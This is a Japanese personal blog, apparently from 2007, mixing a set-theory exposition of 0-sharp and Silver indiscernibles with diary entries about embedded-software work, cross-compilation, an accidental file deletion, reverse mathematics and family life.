$\mathcal{A}=(A,~\in)$ を集合論のいくつかの公理 (少なくとも amenable 位) を満たすモデルとし $\kappa~\subset~A$ とし、さらに任意の $\alpha<\kappa$ が $A$ の要素になるものとします。このとき $I\subset\kappa$ が $\mathcal{A}$ の識別不可能集合とは次の条件を満たすこと。
任意の論理式 $\varphi(x_0,~x_1,~\cdots,~x_n)$ と $I$ の元の上昇列 $\alpha_0<\alpha_1<\cdots<\alpha_n,~\beta_0<\beta_1<\cdots<\beta_n$ に対し $\mathcal{A}|=\varphi(\alpha_0,\alpha_1,\cdots,\alpha_n)~\leftrightarrow~\mathcal{A}|=\varphi(\beta_0,\beta_1,\cdots,\beta_n)$
「 $0^{\sharp}$ が存在する」という主張は後述の remarkable E.M 集合の存在により定式化されるのですが、今回は当面 Jech 本の丸写しで、同値 (Silver による) である下記の条件が成立するとき「 $0^{\sharp}$ が存在する」と称することとします。
(定義 Silver indiscernible) $0^{\sharp}$ が存在するとは次の条件を満たすこと。
( $V$ での) 非可算基数 $\kappa~<~\lambda$ に対して
$(1a)\,(L_\kappa,\in)~\prec~(L_\lambda,~\in)$
$(1b)$ すべての ( $V$ での) 非可算基数を含む Ord の閉非有界なクラス $I$ がただ一つ存在し、非可算基数 $\kappa$ に対し次の条件を満たす。
$(1b.1)~\,~|I\cap~\kappa|~=~\kappa$
$(1b.2)~\,~I\cap\kappa$ は $(L\kappa,~\in)$ での識別不可能集合
$(1b.3)\,~L_\kappa$ の任意の要素は $L_\kappa$ 上 $I\cap\kappa$ ~~で定義可能~~の要素で定義可能。

(1.a) (1.b) とも相当都合の良い (というか超越的な) 仮定と考えられますが、実際今後証明するようにこれらの条件は「弱コンパクト基数の存在」よりは強く、「可測基数の存在」よりは弱いことが分かります。 (1.a) と反映の原理を使うことにより、任意の非可算基数 $\kappa$ に対し $L_\kappa~\prec~L$ が成立します。さらに非可算基数の識別不可能性により、次の事実が成立します。
(命題) 本当の $\aleph_1$ は $L$ で到達不可能。
(証明) 実際本当の $\aleph_1$ は $L$ でも正則であり (正則性の D-absolute による)、同様に $\aleph_\omega$ は $L$ でも極限基数。ところが識別不可能性により $\aleph_1$ も $L$ の極限基数。 $L|=\mathrm{GCH}$ なので $\aleph_1$ は到達不可能。
集合論でよく見られる「ややひきょうな感じがする都合の良い証明」です。実際 $L$ の中に入ると、識別不可能性により、本当の非可算基数は大小関係くらいしか分からないわけです。たぶん。非可算基数の識別不可能性により $L$ での真偽を定義可能です。まず論理式 $\varphi(x_0,\cdots,x_n)$ の自然数を使ったコード化を $[\varphi(x_0,\cdots,x_n)]$ と表し、充足関係が極限順序数 $\alpha$ に対する $L_\alpha$ に対し一様に定義可能であることと考慮すると $\omega$ の部分集合で $L_{\aleph_\omega}$ 、即ち $L$ の $I$ の上昇列に関して真である論理式を表現する集合 (これを $0^{\sharp}$ と呼ぶ！)
$\{[\varphi(x_0,\cdots,x_n)]\,:\,~L_{\aleph_\omega}|=~\varphi(\aleph_1,\aleph_2,\cdots,\aleph_{n+1})\}$
は $V$ で定義可能な集合となります。もちろんこの集合は $L$ では定義可能でありません。識別不可能性により、そもそも任意の非可算基数が $L$ で定義不可能です。さらに自由変数をもたない論理式に対して同様の集合
$\{[\varphi]~\,:\,~L_{\aleph_\omega}~|=~\varphi\}$
が $V$ 上定義可能であり、初等性によりこの集合が $L$ 上の真偽を表現することになります。
特に印象的で分かりやすい結果を述べるため、おおがかりな定義を採用しましたが、天下り過ぎいまいち具体性に欠けるのが難点です。次回からは Ramsey 基数に言及し識別不可能性との関連を考察するとともに、remarkable E.M (Ehrenfeucht-Mostowski) 集合の概念を導入し、そちらの観点から $0^{\sharp}$ について調べ、(1.a) (1.b) との関連を考察します。
(参考文献) Thomas J. Jech 著 Set Theory . ほとんどコピーになってしまいました。お許しの程を。
(少し関連あるかもリンク) Fuさんのとこの計算不可能性の理論その２
(関連リンク)
0^# (zero-sharp) 二回目
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2007年9月1(土)

アイネットディヴァージョンアップ
なにやらおうちで使っているレンタルサーバーのアイネットディからメールがあり、今使っている「Lightプラン」のディスクスペースが 1G がら 5G へ増量するそうな。いやはやそれにしても一気に 5倍とは大盤振る舞いな。試しに今使っている容量を確認してみました。
```
$ du -sk
275700 .
```
なんと優良な (笑)。四分の一くらいしか使っていないではないか。5G ともなると重要なファイルのバックアップ用途としてますます便利になりそうです。それからそろそろおうちのサーバー管理も面倒になってきたので、現在の自宅サーバー (FreeBSD/X24) が壊れてしまったら、ほんとこのページごとレンタルサーバーへ移行することもありうるかも知れません。まあそれはそれで面倒ではあるのですが。
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2007年8月31(金)

つくば出張
実は昨日風邪で熱が出て一日寝ていたのですが、今日はつくば出張で休むわけにはいきません。ふう。さらに今日の現地テストで失敗すると静岡行きも危なくなるという。さてどうなるのでしょうか？
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2007年8月28(火)

できた (はず)
というわけで、この数ヶ月ずっと作ってた、納期まであと二週間のソフトウエアー完成。二週間も余るとは素晴らしい(^^。まあ納期と言っても一回目であり、その後色々殘件があるのですが、今は考えないということで。
それよりモカちゃんの方の納期が近そう。大丈夫かな？ (←夏休みの宿題)
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2007年8月26(日)

勉強ぷち再開
なんか週一回の日記になってしまいました。もう少し更新頻度を上げなければ。
それはそうと、やはり動機があるというのは重要らしく、数学基礎論サマースクールに行けそうな感じになってきたとたん、少しでも勉強しなければ、という気になってきました。もっとも半年近いブランクがあるので、リハビリを兼ねて今まで証明の読み方がずさんだった部分や、忘れてしまった部分ををもう一度読み直しています。
で、サマースクールの方は、今後よほど重大な仕事上の問題が発生しない限り、全日参加できそうです。もう宿もとっちゃったし。まあ仕事で問題が発生した場合病気になればよいのではと (殴)。
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2007年8月18(土)

数学基礎論サマースクール2007
9月4日 (火) から 9月7日 (金) の間静岡大学で開かれます。実はさそって下さったかたがおられまして、ほんと行きたかったのですが、丁度仕事の納期の前週ということで無理かなと思っていたのです。ところが何とかその前週辺りにプログラムが完成しそうな目処が立ちました。日帰りで一日だけ、それともうまいこと全日行けるかは今のところ分かりませんが、万難を排して参加する予定。四日間は無理としても、二日くらいはきっと大丈夫です。
私のような素人でさらに部外者をさそって頂き本当に感謝しております。
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2007年8月16(木)

方向音痴
私は方向音痴です。そもそも左右が良くわかりません。右手がどちらかなんて、自分がお箸なり鉛筆を持っている図を想像しないと分かりません。地図を眺めていても南北はともかく東西が良くわからないのです。
ところで最近仕事で緯度経度に関するちょっとした計算が必要な場合があるのです。これは困ります。まず latitude, longitude と緯度経度の対応が分かりません。また球面三角法の慣習で、緯度だか経度だか分からないのですが、 $\lambda,~\phi$ なる変数を使用する場合も多いらしく、もちろんその対応も全然覚えられません。それより最大の問題は次の通り。
そもそも緯度と経度どっちがどっちだか分からない (笑)
というわけでメモ書き。

名称英語名称慣用の記号備考

緯度 (南北を表す) latitude $\phi$ 上が北

経度 (東西を表す) longitude $\lambda$ 右が東

うーん、どうやって覚えれば良いのだろう。難しい。
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2007年8月11(土)

納期の謎
9月10日頃にせまった半年仕事の納期ですが、この数ヶ月間ほとんど土日もおうちで仕事をした甲斐あり、なんとか間に合いそうです。夏休みは納品後お約束のバグと仕様変更の対処をして、10月以降となりそうです。
ところで予定としては今月中にプログラムはすべて完成させ、9月に入ったらのんびり出荷の準備をするつもりだったのです。ところがどう計算しても一週間分くらい間に合わないのです。それを見越して 9月初旬に予備日を一週間程確保してあったのですが、結局それを使うことになりそうです。それより最大の謎は
どうして半年の予定なのに一週間単位でぎりぎりになるのか (笑)
ということなのです。それ以前に間に合うこと自体が奇跡なのですが、都合よく予備日を駆使して間に合うとはほんと不思議です。全く間に合わないか、それとも余裕をもって間に合うということはないのだろうか？いやない。やはり無意識に調整しているのでしょうか。あれです。囲碁や将棋の序盤どうでもよさそうなところ (本当はどうでも良くない) で長考して、中盤や最後の方難しそうなところを一分以内で打つという、序盤は構想を練って「遊んでる」心理と同じなのかも。
というわけでまだまだ修羅場と言えば修羅場なのですが、ゴールが近づけばそれなり集中力も増すので、なんとかなるでしょう。システム全体はチームでの仕事ですが、ソフトウエアーに関しては一人でなんでもだったのはそれなり成功だったのかも知れません。
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2007年8月4(土)

生存報告
生きてます (笑)。あと一月半位のがんばりなのですが、忙しくって (汗)。
ところでモカちゃんに二年前買ってあげた iPod shuffle が壊れました。さすがに寿命のようです。それなり便利に使っていたようなので、新しいのを買ってあげました。あま親で困ったものです。二年前と同じ値段で容量は倍です。あと、知らなかったのですが、刻印もできるそうで、迷いに迷って名字なしの名前に決めたようです。
それはそうとにわかに信じられないのですが、モカちゃんいわく、
$\sqrt{2}$ が無理数であることを証明した
そうな。本人の話によると有理数、無理数を習い、まえに私が $\sqrt{2}$ は無理数と言ってたのを思い出して、既約 (これ以上約分できない) 分数の形に書いてごちゃごちゃやったら変な結果になったので、これは無理数だというのです。背理法は知らないとのこと。ほんとかいな。実は小学生の時一度説明したことがあって、そのときは全く分からず拒絶されたのですが、記憶の底にでも残ってたのかな。それともだれかにこっそり教わったとか。まあ余り本気にはしないということで (笑)。
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2007年7月29(日)

一句
徹夜仕事朝一番で選挙に行って来た (字余り)
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2007年7月26(木)

ゲーデルと20世紀の論理学第4巻
本日届いていました。一番楽しみにしていた巻きなので、じっくり読みたいと考えています。感想は後日ということで。
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2007年7月25(水)

またまた交換しらたまちゃん
去年の 8月に購入して二ヶ月でくるくるの部分が調子悪くなり、新しいのと交換したしらたまちゃんですが、二三ヶ月前からくるくるの調子が悪くなりつつあり、さらにここ数日ほとんど使用不可能な状況になってしまいました。症状は前回と同様で、下方向にスクロールしなくなるのです。
保証期限も後一月ということなので、もう一度修理依頼です。
前回は色々症状を聞かれましたが、今回は事例が多いためか、すんなり交換ということになりました。それは良いのですが、私の使用時間は一日平均 10時間程度。普通の使い方なら一日 3時間位で、一年は大丈夫という作り方なのだろうか。
そもそも本質的な掃除方法がないというのがメーカー、ユーザーともかなりまずいのでは。新しいのも良くて半年くらいの命でしょうから、その段階で保証切れで新規購入ですか...。これは一年半寿命ののサプライ品と考えなくてはいけないかも知れません。やや欠陥気味なのかも。
ここは頑張ってくるくる部分も電子化した製品を開発してもらいたいものです。
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2007年7月22(日)

二女のカメラ購入
明日は二女の誕生日なのですが、プレゼントということで欲しがっていたカメラの購入です。薄型で三万円以下の予算ということで、二女が選んだのは Lumix DMC-FX30 の青です。ところでどこかで見たような (^^。そう言えばたかたにさんのとおんなじです。でもたかたにさんは 33,480円でお買い上げですが、私のお買い上げ価格は 27,500円。なななんと 6,000円も安いではないか (笑)。というわけでいつのまにか 1G 2,500円位になっていた SD カードを追加して、丁度 30,000円の散財でした。
余談ですが、二女に「防水カメラが良いのでは」とつっこんだら怒られてしまいました。どうしてなのだろう (^^。
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2007年7月20(金)

「すのこタン。」きたる
出張から帰ってきたら届いていました。箱や説明書が思ったより充実しているのにびっくり。取扱説明書の中は「すのこタン。」主人公のまんがです。さすがに黒マックの下に設置すると小さめなのですが、四隅のあれは何と言うのだろう、安定させるために飛び出しているゴムみたいなのと競合しないので丁度良いのかも知れません。実際使用しても安定性には問題ありません。そもそも会社で使う予定なので、その場合は外部キーボードを使用するので、安定性は余り気にしていなかったのです。
肝心の放熱効果なのですが良くわかりません (笑)
黒マックの場合、低温火傷の危険があるように、底面が主たる放熱位置と思われるので少しは効果あるかも。でもでもほんと良くわかりません。心持ちキーボードの部分の温度が低くなったような気もしないではないのですが、ほんとはどうなんでしょうね (^^。

本体箱

取扱説明書注意書き (応募券つき)

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2007年7月18(水)

二女携帯をおっことす
もうすぐ二十歳の二女が携帯を落としました。どこにですって？そりゃ私の娘ですから、おっことすところといったら、あそこですよ。あそこ。
つぼの中です (笑)
なにやら大学でぶつが流れるのを確認しながら、何時かな～とポケットから出したときに落っことしたそうな。幸か不幸か本体は流れず、手を入れて拾い上げたそうですが、もちろん水没で完全に使用不能です。
携帯屋さんに行って修理の見積もり依頼をして、さらに代替機を貸してもらったようですが、ご存知のように携帯の原価はとってもとっても高いのです。水没でメイン基盤と液晶その他の交換となれば、なんとびっくり 3万円とか 5万円以上の費用がかかる可能性もあります。ここは恐らく機種交換になる可能性が高いと思うのですが、いやはやうかつといいますか、うんが悪いといいますか困ったものですなあ。
全然関係ない話ですが、明日と明後日はつくばに出張です。私も注意しなくっちゃ。
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2007年7月15(日)

近況報告
最近更新が少なくってすみません。昨日も今日もおうちで仕事してました。それなり楽しかった数値計算関連は一段落です。数値計算の場合、微妙に合わないとき絶対に途中でやめられないです。指定されたフォーマットのデーターを作るなんてすぐに飽きてしまうのですが不思議なものです。もと円周率おたくの血が萌えるのでしょうか (笑)。
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2007年7月7(土)

役に立った FreeBSD/Parallels/MacOSX
今日は七夕です。東北地方は来月ですが (北海道はどうなのだろう)。
それはそうと、昨日自宅で仕事をしていたら、お客さまからメールがあり、開発中プログラムのデーターの内容が一箇所おかしいとのこと。あれま、やっちゃいました。開発初期段階ではデーターの細かい部分 (この場合の ID はなんとか、こちらの場合かんとか等、お客さまにとっては重要だが、私にとってはどうでも良い部分) 大体間違えます。いやいや、よもやお客さまにデバッグさせるつもりなんてありませんよ (嘘) ← というかもうばれてる (笑)。
で、修正は指摘して頂ければ自明な内容 (マクロ定数を写し間違えてた) だったので、「じゃあ、今から修正して、本日中にお送りいたします」なんて調子良く返信してしまったのです。ところがですよ、考えてみると開発マシンは黒マックで、本番での動作環境は i386-Linux と arm-Linux です。会社ですと開発用の Linux マシンへソースを転送して、実機用にコンパイルできるのですが、現行自宅では無理です。
事情を説明して、月曜日まで待ってもらうという手もあるのですが、一度出来ると言ったのを撤回するのもいまいち不愉快です。そこで思い出したのが、「そういえば、今は自宅サーバーとなっている FreeBSD/X24 の Linux emulator で作ってたことがあったような。」なる画期的な事実。
現在、黒マックには Parallels Desktop が導入されており、最初に遊んだっきり全く動かしていない FreeBSD-6.X が起動します。ターゲットの (arm|i386)-Linux はやや古く、最新の開発環境では libc なんたらの関連で動作しないと思われるのですが、うまいこと X24 の /usr/compat/linux/ に三年前のイメージがそのまま残っていたのです。

/usr/compat/linux/ 以下を tar で固めて、黒マックの FreeBSD エミュレーター環境にコピーしてみました。

そして FreeBSD-6.X の Linux emulator 機能を有効にして、
```
CC=/usr/compat/linux/usr/bin/gcc
```
とか
```
CC=/usr/compat/linux/usr/bin/arm-linux-gcc
```
としたらちゃんとコンパイルできました。さらに念のため、出力された実行可能ファイルを file コマンドで調べたところ、確かにターゲット用の実行ファイルのようです。
というわけで、「FreeBSD の Linux emulator でクロス開発したので、動かなかったらごめんさい」という意味の文面を添え、実行ファイルをお客さまに送ったところ、うれしいことに問題なく動作したそうな。
今まで環境構築が面倒で、黒マック上直接ターゲットのバイナリーを作成することまでは行っていませんでしたが、仕方なくやってみると案外簡単なもので。これからますます便利に使えそうです。今後、お客さまのところでのテストやデバッグのとき、Linux ノートをもってかないですむのが一番助かるかも知れません。
＃もちろん本日に限れば X24/FreeBSD 上でコンパイルすれば良かったのです。
＃理論的に問題がないはずのダブルエミュレーションがうまくゆくかの興味と
＃今後のことを少々考えての実験でした。ねたのためということもあるかも (笑)。
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2007年7月6(金)

結局仕事
下の記事のように本日はお休みでしたが、午後から21時頃までずっと仕事してました。プログラムの計算部分なので始めたら楽しくなってしまったのです。余り得意ではないのですが、なんのかんの計算は嫌いではないようです。
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2007年7月4(木)

道半ば
5月の連休明けから専念しているプロジェクトですが、工程の半分くらいまで完成したようです。期間も丁度半分なので、それなり順調なのかなと。そうはいうものの、この二ヶ月間それなり気合いが入っていたので少々疲れました。なので、明日と明後日は中休みということで、それなりたまっている代休を行使して四連休です。というか今晩は徹夜なので、本当の代休は金曜日だけですが。
うーん、そんなに真面目に働いているわけではないのですが、内容と責任なんかも疲労感に関連があるのでしょうか。
余談ですが、この二ヶ月で書いたプログラムの行数は 8,000行です。ひとつきあたり 25日位働いてたので、一日 150行プログラマーということになります (笑)。ひとつ自慢を書くと、普通の人の半分から三分の一以下の行数で同等の機能を実装する自信があるので、一日 300行という感じでしょうか。おお、わりといいじゃん (^^。
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2007年7月1(日)

すのこタン。
思わず注文してしまいました。単なるアルミニウムのスノコですが。もちろん絵が描いてある方。というか堅実そうな会社なんですが。なんか「江戸うさぎ」を思い出してしまいました。発注後なんと社長様から直接返信メールが来まして、現在生産が追いつかず、納品は 7月中旬になるそうな。そもそも黒マックの下に設置するには小さすぎる？まあそのときはもう一つ買えば (笑)。
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2007年6月26(火)

指定バトン【Mac OS X 10.4】
なにやら Y.Kumagai さんから指定バトンなるものが渡ってきたようです。お題は【Mac OS X 10.4】。使ってはいますが、詳しいわけでもないし、そもそもかなり普通でない使用方法であることはご容赦の程を。

最近思う【Mac OS X 10.4】
最初からそう思っていましたが、私にとって理想の OS に限りなく近いと思います。本来私は CUI の人で、さらに一番長期間使用し影響を受けた OS は FreeBSD です。Mac OS X 10.4 に関して言えば、コアーの部分は BSD そのもので、非常に見栄えの良い Terminal.app (通常これが 6つ以上上がっている) が使え、本業の UNIX 系に関連する開発作業が円滑に行なえるのもうれしいのです。見栄えも重要です。このページをご覧になってる方は、見栄えに全く縁がない人が書いていると思われるかも知れませんが、実はプログラムやドキュメントにおいては、内容よりも見栄えを重要視するというとんでもない人なのです。それなりの見栄えが内容に影響を及ぼすのはもちろんなのですが。Mac のフォントが良い影響を与えていることは間違いありません。というか恐らく文字の美しさと、他の要素とのバランスの良さを一番気に入っているのかも知れません。
直感的な【Mac OS X 10.4】
かっこいい (笑)
この世に【Mac OS X 10.4】が無かったら
【Mac OS X 10.3】を使います (笑)。真面目な話 FreeBSD を使い続けていたと思います。プログラム開発に関しては今と余り変わらなかったかも知れませんが、ドキュメントの体裁や美しさ、そして内容に関してはどうしようもなかったでしょうね。
【Mac OS X 10.4】を譲渡するとしたら誰に
もう一つ購入して Y.Kumagai さんに差し上げます。えっ、持っているからいらない？それは失礼 (^^。
というわけで、特に渡す人も思いつかないので、バトンの転送はここで止めますが、どうもへんてこな使い方をしてる割には内容が月並み、ということに関してはお許しの程を。
(関連リンク)
Y.Kumagaiさんのもとねた
 はやしさんのとこ
 yujirocketsさんのとこ

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2007年6月24(日)

一週間遅れ
というわけで、モカちゃんの中間テストも終わったので、本日一週間遅れのお誕生会でした。ところで本日なんと「父の日のプレゼント」をもらいました (^^。というか父の日も一週間前だったのでは。理由を聞いたところ、渡すのを忘れていたそうで、いやはや期待していなかった分うれしかったです。

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2007年6月19(火)

WKL₀と弱コンパクト基数
「ゲーデルと20世紀の論理学」第三巻の逆数学の部分を眺めていたら (ほんと眺めただけです。全然分かっていません)、なにやら $\mathrm{WKL}_0~$ なる体系があるそうで、要は $\mathrm{RCA}_0~$ (実はこれも分かってない) に弱ケーニヒの補題を追加した体系なのだそうな。そして容易に想像できるように $\mathrm{RCA}_0~$ を基準としたとき、 $\mathrm{WKL}_0~$ は完全性定理の証明能力と同等。たぶん。さらにこの辺りの話を読むと、自然に弱コンパクト基数のことが想起されます。弱コンパクト基数は
$\kappa~\rightarrow~(k)^2_2~$
が成立する非可算基数で、無限論理に対するコンパクト性を持つこと、(到達不可能で) 木の性質を持つこと等で特徴づけられ、変幻自在というかなかなか柔軟な性質を持ちます。可測基数を「可換体」に例えると、弱コンパクト基数は「可換環」という感じでしょうか。あんまり良い例えではないかも知れませんが。
ところが上の文献によると $\mathrm{WKL}_0~$ から $\omega~\rightarrow~(\omega)^2_2~$ は証明できず、逆に $\omega~\rightarrow~(\omega)^2_2~$ から $\mathrm{WKL}_0~$ を導けるかどうかは未解決なのだそうな。なかなか微妙です。どこが違うのだろう。一度真面目に分析してみたいものですが、逆数学の方は名前しか知らない状態なので、その辺りの雰囲気を教えて頂けるととってもうれしいのです。
(関連項目)
2006年10月2日弱コンパクト基数の基本性質(一回目)
2006年10月14日弱コンパクト基数(二回目)無限論理との関連
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2007年6月18(月)

Apple Wireless Keyboard 購入
突然ですが、 Apple Wireless Keyboard を購入しました。会社専用です。理由としては、
- 黒マックのキーボードも自宅でちょぼちょぼ使う分には良いが、さすがに会社で毎日打ち込むには普通のキーボードの方が疲れないし能率もよさそう。
- 今までの経験からノート PC はキーボード近辺から不調になる場合が多い。会社でのキー入力の量は自宅の 10倍以上と推定されるので、外部キーボードの採用により本体が長持ちして...欲しい。
- しらたまちゃんと並べるとなかなか格好が良い (笑)。
- 急に欲しくなった。衝動買い (愚)。
辺りでしょうか。ちょっと驚いたのは電池が四つ必要なこと。しらたまちゃんとおんなじで二つだと思い込んでいました。ほんとは eneloop を使いたかったのですが、予備を含めて八つでは少々高過ぎます。実は Y.Kumagai さんの「4本で1,500円は思い切り割りに合わない」というお話の理由がいまいち分からなかった (予備を含めて四本だと思っていた) のですが、納得しました (^^。どの位持つか分からないのですが、よほどのことがない限り安物アルカリで運用しようと考えています。あっ、でも eneloop の方がねたになるか。うーん (笑)。
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2007年6月16(土)

今日はお休み
諸般の事情で一月ちょっと土曜日も出勤でしたが、今日はお休みで久々の連休です。なぜお休みかというと、うれしいことに会社の床掃除で出社禁止令が出たのです。下の記事のように少々疲れもたまっている感じなので、ここはゆっくり休みましょう。あと、今日はモカちゃん 14回目のお誕生日です。テスト前でのんびりお祝いが出来ないのが少々可愛そう。
くまさんケーキ

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2007年6月13(水)

ぐれてやる、不良になってやる！！
今日もいつも通り、ぼつらぼつらとプログラム書きしてたのです。プログラムはLinux の組み込み機材で動作するものですが、互換性を考慮した書き方にはそれなり自信があるので、Mac 上で開発です。で、五時半頃になり、まあ今日の予定の分は大体一段落かなと思い、プログラムが出力したデーターファイルを眺めていたのですが、この内容も問題なさそう。というわけで、データーファイルを全部消しました。
```
$ rm -f ./*
```
で、なんとはなしに pwd コマンドでカレントディレクトリーを参照したところ...

なんとデーターではなくソースのディレクトリーにいるではないか (=_=)

やっちゃいました。「わ～～～」と叫んで、床にうずくまりました。幸か不幸か昨日の段階のバックアップがあるので、被害は一日分なのですが、経験がある方はご存知の通り、こういう場合立ち直るのに時間がかかります。さらに八つ当たりモードに入り、会社の偉い人のところに言って、「今回のプロジェクトのソース全部 (うそ) 消えた。ぐれてやる～、不良になってやる～、本日限り退職だー」なる子供じみた行動をとったのです。
まあ、冷静に考えれば、一日分のソースの復旧は (それなり記憶に残っているので) 三時間くらいで出来る場合が多いのですが、心がすさんでるので、すさみを解消する時間を考えると一日かかるのです。いずれにしても会社中あっちこっち歩き回り、

もうだめ。ぐれてやる、不良になってやる！！

と大騒ぎしたのはいつものことながら情けない。さらに私はいつも騒いでいるので、狼少年化しているのか、みんな「また騒いでるよ」という感じでいまいち冷たいのです (笑)。
一騒ぎ終了し、さてどんな風に収拾をつけようかと考えてたら (というか考えている時間があったら書けば良いと思うのですが、なにせぐれてさらに不良になってるのでそれは無理)、なんと目の前にEmacs の画面があるではないか。しかもその内容は先程まで編集していたもの。むむむっ、これはもしかした今日編集したフィアルが全部バッファに残っているのでは。

どうでも良いファイルを除いて全部入っていました (^^

これは助かりました。とてもずぼらな性格なので、Emacs を立ち上げ編集すると、セーブはそれなり頻繁に行なうのですが、バッファはそのまま残しとく習慣があるのが良かったようです。上書き注意の警告がでるので (すでに USB メモリーからは昨日の分をりストアー済みであった) 慎重にバッファの内容をコピーです。どうでも良いのが一つ二つ復旧できなかったようですが、こちらはインクルードファイルで、単に構造体にフィールドを追加したり、インターフェースを変更し、それに伴うプロトタイプの変更程度だったので、特に問題はありませんでした。
というわけで、久々に rm -f ./* でおおへまをしましたが、被害が軽微で助かりました。というかちょっとしたことで大騒ぎする癖をなんとかしないと (笑)。
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2007年6月11(月)

空な論理式
$\mathcal{A}~$ を命題論理の論理式からなる有限集合とし、各要素の真偽が定まっていると仮定します。このとき $\mathcal{A}~$ の離接と合接を考えることか可能です。これらを $\bigvee{\mathcal{A}},\,\bigwedge{\mathcal{A}}~$ と書くことにします。ここで $\mathcal{A}=\emptyset~$ の場合はどうなるかという問題。もちろん考えるまでもなく $\bigvee{\emptyset}~$ の値は偽であり、 $\bigwedge{\emptyset}~$ の値は真となります。ところが二番目の解釈は古今東西分かりにくいことが多いようで (これは「ならば」の前提が成立しない場合の分かりにくさと同様と思われます)、かたぎの人様を説得する場合慎重に行なう必要があります。
実を言うと仕事の関係で上のコンテキストが現れたのですが、一般的な常識というか直感のように空な合接が偽になるのも不愉快なので、一応打診してみたのです。ただし、頭ごなしに上の事実を述べるのみというのはちと嫌みっぽいかな、と考えたのは大人の態度です。実際には下記プログラムの断片を提示しました。
```
----------------------------------
/* 有限個の離接の計算 */
or=FALSE
for (p in A) {
    if (p)
        or=TRUE
}
/* 有限個の合接の計算 */
and=TRUE
for (p in A) {
    if (!p)
        and=FALSE
}
----------------------------------
```
ほら、これだと A が空集合の場合離接は偽となり合接は真となります。分かりやすいでしょ (^^。というわけで、お客さんの説得成功。というか上記プログラムのように自然に書いただけで、空な場合の正しい結果が導きだされるのはなかなか楽しかったのでした。
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2007年6月7(木)

生存報告
いや、ほんと最近更新が滞りもうしわけありません。で、昨日は大学時代の友人と久しぶりに会って、本格的なカレーを食べてきました。おいしかったです。ところが23時過ぎにお家に帰ったら、カレーの副作用なのか、ちっとも眠れないんですよ。そうこうしてるうちに朝の五時になり、「いかん、今寝てしまったら絶対に起きられない。」という状況に陥り結局徹夜。眠いです。というわけで、生存報告でした。
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2007年5月31(木)

健康診断
今日は健康診断でした。例のごとくあれを取るのが面倒だったので、モカちゃんに「千円でどうかな」と打診したところ、「千円ならばやる！！」と驚愕の回答。確か小学校のときは百万円を要求したはず。「どうしてそんなに安くなったの？」と聞いたところ、「金銭感覚に現実感が出てきたんじゃないの。」ということで、あっさり受諾されこちらが引いてしまいました (笑)。モカちゃんって千円でミを売るの？
ところで、あれなんですが、実は健康診断の日を二日間違えて、おとといだと思っていたのです。なので、採取したのは三日前で、えーっと、三日間生ものを持ち歩くはめになったのは内緒です。
結果は例のごとく血糖値やや高め、肝臓の値やや悪し、ということで、まあこの程度なら大丈夫なので、これ以上悪くならないようにとのご指導でした。というか血糖値をごまかすため、昨日のお昼からなにも食べなかったのです。お腹すいた。さらに上に書いたように、三日前も同様の行動をとったので、どうも食生活が不規則。愚かとしか言いようがありません。
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2007年5月25(金)

久々の鴨南蛮
今日は石川県からキャサリンさんが上京ということで、キャサリンさん、Sさん、Hさん、私の四人で恒例の鴨南蛮です。ところで Sさんは来週から出産のためしばらく北海道の実家へ帰り、その後産休となるので、しばらく会えなくなります。Sさんは10年前私が別の会社で作ったソフトウエアーを今までずっと保守して下さったのです。それなりの規模のシステムで、今は監視カメラを作っているという、自分が所属してたのがまったく恥ずかしいB社のFが無責任に作ったハードウエアーの出来が悪かったため (しかもなんとかしなければと言ったら、どうせ「今の私の会社」には分からないからごまかせと言った。仕方ないので私が直した)、多大な迷惑をおかけしました。というか今の会社に入るまで、どれだけ迷惑をかけていたかの認識が少なかった。ごめんなさい。とても感謝しています。というわけで元気なお子さまを。
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2007年5月21(月)

はじめての値切り
二年程前に購入してとても気に入っていたヘッドフォン ATH-AD500 ですが、モカちゃんが貸して欲しいというので、土日の間 (会社で仕事してた) 貸したところ、床におきっぱなしにして踏んづけて壊しました (笑)。
いやはや親に似てがさつな性格で困ったものです。壊してしまったものは仕方がないのですが、いかに親とはいえ、人から借りたものを粗末に扱うのは問題なので、色々文句を言ってるうちにけんかになりました。
で、いつまでけんかしてても仕方がないので、今日はおんなじのを購入です。一番上のリンクと同様に会社の M さん (一応同じ学部の後輩、でも相手は博士さま) と一緒に行って値切ってもらおうかと思ったら、なんと今日は学会で不在とのこと。まったく肝心なときに...この役立たず。まずい、M さんは若いけれど、私の上司じゃあないですか。こんなこと書いたら給料が減るか、最悪首になってしまいます。あっ、でも、こんな一大事に不在な上司はやはり役立たず。
ほんと役立たずです (笑)。
仕方ないので、一人で会社の近くのお店に行ったら値札が 9,800円。二年前も同じ値札で M さんが 7,800円に値切ってくれたのでした。そこで勇気を出して、
「前に買ったときは 7,000円だった (嘘)」
と店員さんに言ったところ、少々お待ちくださいということで、「本来 8,000 円がぎりぎりですが、もうひと頑張り、7,800円でいかがでしょう。」と相成りました。
おおっ、私でも M さんと同じ金額分値切れるではないか (^^。なんか得した気分になりましたが、考えてみると丸々 7,800円損してるのは明白で、まあ新品になったということで、これは我慢するしかありません。余談ですがモカちゃん用には別途 3,000円くらいのヘッドフォンを購入しました。大散財のお話でした。
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2007年5月20(日)

ω矛盾とうちゃん
とうちゃん「あれもやんなくちゃ、これもやんなくちゃ...」
偉い人「なにかできたの」
とうちゃん「あれもできてない、これもできてない...」
あかん、ω矛盾ではなく単なる矛盾だ (ω^ω)/U
(付記) ω矛盾かあちゃんについては Wikipedia を参照して下さい。

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2007年5月18(金)

理論的には大丈夫なはず
本日真っ青になりました。実は一月程前組み込み機材の工業用 CF を 750 枚程発注したのです。大丈夫と指示を出したのはわたし。で、大丈夫な根拠は組み込み Linux マシンが、その CF の LILO を認識してちゃんとブートしたから。実はブートの途中で止まったのですが、スレーブの CF にフォーマットが変なのを入れてて、それに対する fsck で止まっていると思ったのです。

まあここまで行けば後はマウントするだけなので、理論的には大丈夫なはず

悪い癖がでました (笑)。いや、ほんと笑いごっちゃないのですが、最初のロットの CF が届いたので、真面目に環境を作りブートしようとしたのです。

ところがマウントに失敗してたのはスレーブではなく、マスターの / パーティションでした (-_-)

あわわわっ、工業用なので一枚二万円ですよ。ということは合計千五百万！！
お金も大変ですが、これから別のを評価して発注してたら納期に間に合いません。どうしよう。なんか一時間以上放心状態でした。ほんと会社やめたくなりました。でもやめると生活に困るし、何より無責任過ぎます。
